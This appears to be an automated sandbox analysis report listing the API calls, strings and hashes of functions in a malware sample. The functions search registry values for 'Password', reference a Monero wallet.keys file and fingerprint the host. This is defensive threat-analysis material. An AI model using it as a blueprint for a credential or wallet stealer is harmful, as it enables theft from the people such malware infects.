Opcode Fuzzy Hash: 1d3a9746ac48c8725d62d2fe49b9c302f80bdb8a290a89ee4a31c8ee10cb6bed
Instruction Fuzzy Hash: 4E5195B1D1011997CB15FB20DD92FED733DAF50300F444199B60A62182EF746B89EFAA

Function 00FD40B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00FD40D5
RegOpenKeyExA.KERNEL32(80000001,007BDD00,00000000,00020119,?), ref: 00FD40F4
RegQueryValueExA.ADVAPI32(?,007BE320,00000000,00000000,00000000,000000FF), ref: 00FD4118
RegCloseKey.ADVAPI32(?), ref: 00FD4122
lstrcat.KERNEL32(?,00000000), ref: 00FD4147
lstrcat.KERNEL32(?,007BE2C0), ref: 00FD415B

Strings

h{, xrefs: 00FD4233
{, xrefs: 00FD410D
{, xrefs: 00FD418B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: {$h{${
API String ID: 2623679115-1486946972
Opcode ID: 831ab6943fffacc2cd8692578b00b1a5efd53a30e977838117341f267dd879a5
Instruction ID: 3de7445b9f371043f600e441fa6361157faf12b3685b351fd089fd133883f984
Opcode Fuzzy Hash: 831ab6943fffacc2cd8692578b00b1a5efd53a30e977838117341f267dd879a5
Instruction Fuzzy Hash: 1B41ABB6D002086BDB25EBA0EC4AFFE733DB748300F444A5DB71557186EA759B888B91

Function 00FC75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC72D0: memset.MSVCRT ref: 00FC7314
Part of subcall function 00FC72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00FC733A
Part of subcall function 00FC72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FC73B1
Part of subcall function 00FC72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FC740D
Part of subcall function 00FC72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00FC7452
Part of subcall function 00FC72D0: HeapFree.KERNEL32(00000000), ref: 00FC7459

lstrcat.KERNEL32(2F63C020,00FE17FC), ref: 00FC7606
lstrcat.KERNEL32(2F63C020,00000000), ref: 00FC7648
lstrcat.KERNEL32(2F63C020, : ), ref: 00FC765A
lstrcat.KERNEL32(2F63C020,00000000), ref: 00FC768F
lstrcat.KERNEL32(2F63C020,00FE1804), ref: 00FC76A0
lstrcat.KERNEL32(2F63C020,00000000), ref: 00FC76D3
lstrcat.KERNEL32(2F63C020,00FE1808), ref: 00FC76ED
task.LIBCPMTD ref: 00FC76FB

Strings

: , xrefs: 00FC764E

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 3d88132a08ce789e374693685c00591b624d154e4bf98c3ff7210b16f3c70e89
Instruction ID: 2689c605bc538fc5d6629cb0229b3ee9fd83b331afbdd5f7640555fec90eb76a
Opcode Fuzzy Hash: 3d88132a08ce789e374693685c00591b624d154e4bf98c3ff7210b16f3c70e89
Instruction Fuzzy Hash: D431627290020ADFCB15EBB5ED4AEFE7375BB44301B544218F102A7285DA38EA46EB51

Function 00FC72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00FC7314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00FC733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FC73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FC740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00FC7452
HeapFree.KERNEL32(00000000), ref: 00FC7459
task.LIBCPMTD ref: 00FC7555

Strings

Password, xrefs: 00FC7401

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 45e4df6205133d2094a445bd3bbe1db1da03a9b013f5f33f14bda006a1c77869
Instruction ID: ea54d71cc135e727703a0dea3c34d9963d0d96466d3fa56d529d12d6c185687d
Opcode Fuzzy Hash: 45e4df6205133d2094a445bd3bbe1db1da03a9b013f5f33f14bda006a1c77869
Instruction Fuzzy Hash: 0B614AB18042699BDB24DB50CD46FDAB7B8BF44300F0081E9E689A6141DBB46BC9DFA0

Function 00FD7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00FD7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FD757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7603
RtlAllocateHeap.NTDLL(00000000), ref: 00FD760A
wsprintfA.USER32 ref: 00FD7640

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Strings

\, xrefs: 00FD7560
C, xrefs: 00FD754C
:, xrefs: 00FD755C

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: a00663a649e7fdba4b148f2da85695e852efe5d96b52145196ecf7836f719a85
Instruction ID: 1e14aaa5dcc4e2d83899ed05b0844f48246f237d87b00d5ca22582083c299d8d
Opcode Fuzzy Hash: a00663a649e7fdba4b148f2da85695e852efe5d96b52145196ecf7836f719a85
Instruction Fuzzy Hash: 2441C3B1D04348ABDF11DF94DC45BDEBBB9AF08700F14019AF5096B381E778AA44DBA5

Function 00FD8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,007BDF48,00000000,?,00FE0E2C,00000000,?,00000000), ref: 00FD8130
RtlAllocateHeap.NTDLL(00000000), ref: 00FD8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00FD8158
__aulldiv.LIBCMT ref: 00FD8172
__aulldiv.LIBCMT ref: 00FD8180
wsprintfA.USER32 ref: 00FD81AC

Strings

@, xrefs: 00FD814D
%d MB, xrefs: 00FD81A3

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 6d18325b490d49976f314af7d9df4547eae1088b922eb89b30c34d5f11e3840e
Instruction ID: c0470e2b3d2edb4510b312557186813deb4f488cc303561f419e7d623ad5338c
Opcode Fuzzy Hash: 6d18325b490d49976f314af7d9df4547eae1088b922eb89b30c34d5f11e3840e
Instruction Fuzzy Hash: 7E215EB1E44318ABDB10DFD4DC49FAEB7B9FB44B54F14420AF605BB284C77869018BA5

Function 00FD1A10 Relevance: 13.1, APIs: 2, Strings: 5, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00FD7542
Part of subcall function 00FD7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00FD757F
Part of subcall function 00FD7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7603
Part of subcall function 00FD7500: RtlAllocateHeap.NTDLL(00000000), ref: 00FD760A

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FD7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD76A4
Part of subcall function 00FD7690: RtlAllocateHeap.NTDLL(00000000), ref: 00FD76AB

Part of subcall function 00FD77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00FDDBC0,000000FF,?,00FD1C99,00000000,?,007BDD80,00000000,?), ref: 00FD77F2
Part of subcall function 00FD77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00FDDBC0,000000FF,?,00FD1C99,00000000,?,007BDD80,00000000,?), ref: 00FD77F9

Part of subcall function 00FD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FC11B7), ref: 00FD7880
Part of subcall function 00FD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7887
Part of subcall function 00FD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FD789F

Part of subcall function 00FD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7910
Part of subcall function 00FD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7917
Part of subcall function 00FD78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FD792F

Part of subcall function 00FD7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FE0E00,00000000,?), ref: 00FD79B0
Part of subcall function 00FD7980: RtlAllocateHeap.NTDLL(00000000), ref: 00FD79B7
Part of subcall function 00FD7980: GetLocalTime.KERNEL32(?,?,?,?,?,00FE0E00,00000000,?), ref: 00FD79C4
Part of subcall function 00FD7980: wsprintfA.USER32 ref: 00FD79F3

Part of subcall function 00FD7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007BE038,00000000,?,00FE0E10,00000000,?,00000000,00000000), ref: 00FD7A63
Part of subcall function 00FD7A30: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7A6A
Part of subcall function 00FD7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007BE038,00000000,?,00FE0E10,00000000,?,00000000,00000000,?), ref: 00FD7A7D

Part of subcall function 00FD7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,007BE038,00000000,?,00FE0E10,00000000,?,00000000,00000000), ref: 00FD7B35

Part of subcall function 00FD7B90: GetKeyboardLayoutList.USER32(00000000,00000000,00FE05AF), ref: 00FD7BE1
Part of subcall function 00FD7B90: LocalAlloc.KERNEL32(00000040,?), ref: 00FD7BF9
Part of subcall function 00FD7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00FD7C0D
Part of subcall function 00FD7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00FD7C62
Part of subcall function 00FD7B90: LocalFree.KERNEL32(00000000), ref: 00FD7D22

Part of subcall function 00FD7D80: GetSystemPowerStatus.KERNEL32(?), ref: 00FD7DAD

GetCurrentProcessId.KERNEL32(00000000,?,007BDB20,00000000,?,00FE0E24,00000000,?,00000000,00000000,?,007BE098,00000000,?,00FE0E20,00000000), ref: 00FD207E

Part of subcall function 00FD9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00FD9484
Part of subcall function 00FD9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00FD94A5
Part of subcall function 00FD9470: CloseHandle.KERNEL32(00000000), ref: 00FD94AF

Part of subcall function 00FD7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7E37
Part of subcall function 00FD7E00: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7E3E
Part of subcall function 00FD7E00: RegOpenKeyExA.KERNEL32(80000002,007AC320,00000000,00020119,?), ref: 00FD7E5E
Part of subcall function 00FD7E00: RegQueryValueExA.KERNEL32(?,007BDB60,00000000,00000000,000000FF,000000FF), ref: 00FD7E7F
Part of subcall function 00FD7E00: RegCloseKey.ADVAPI32(?), ref: 00FD7E92

Part of subcall function 00FD7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00FD7FC9
Part of subcall function 00FD7F60: GetLastError.KERNEL32 ref: 00FD7FD8

Part of subcall function 00FD7ED0: GetSystemInfo.KERNEL32(00FE0E2C), ref: 00FD7F00
Part of subcall function 00FD7ED0: wsprintfA.USER32 ref: 00FD7F16

Part of subcall function 00FD8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,007BDF48,00000000,?,00FE0E2C,00000000,?,00000000), ref: 00FD8130
Part of subcall function 00FD8100: RtlAllocateHeap.NTDLL(00000000), ref: 00FD8137
Part of subcall function 00FD8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00FD8158
Part of subcall function 00FD8100: __aulldiv.LIBCMT ref: 00FD8172
Part of subcall function 00FD8100: __aulldiv.LIBCMT ref: 00FD8180
Part of subcall function 00FD8100: wsprintfA.USER32 ref: 00FD81AC

Part of subcall function 00FD87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FE0E28,00000000,?), ref: 00FD882F
Part of subcall function 00FD87C0: RtlAllocateHeap.NTDLL(00000000), ref: 00FD8836
Part of subcall function 00FD87C0: wsprintfA.USER32 ref: 00FD8850

Part of subcall function 00FD8320: RegOpenKeyExA.KERNEL32(00000000,007BB408,00000000,00020019,00000000,00FE05B6), ref: 00FD83A4

Part of subcall function 00FD8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FD8426
Part of subcall function 00FD8320: wsprintfA.USER32 ref: 00FD8459
Part of subcall function 00FD8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00FD847B
Part of subcall function 00FD8320: RegCloseKey.ADVAPI32(00000000), ref: 00FD848C
Part of subcall function 00FD8320: RegCloseKey.ADVAPI32(00000000), ref: 00FD8499

Part of subcall function 00FD8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00FE05B7), ref: 00FD86CA
Part of subcall function 00FD8680: Process32First.KERNEL32(?,00000128), ref: 00FD86DE
Part of subcall function 00FD8680: Process32Next.KERNEL32(?,00000128), ref: 00FD86F3
Part of subcall function 00FD8680: CloseHandle.KERNEL32(?), ref: 00FD8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00FD265B

Strings

({, xrefs: 00FD1ED0
8{, xrefs: 00FD1DDA
{, xrefs: 00FD1E55
P{, xrefs: 00FD1A8E
@{, xrefs: 00FD1F4A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
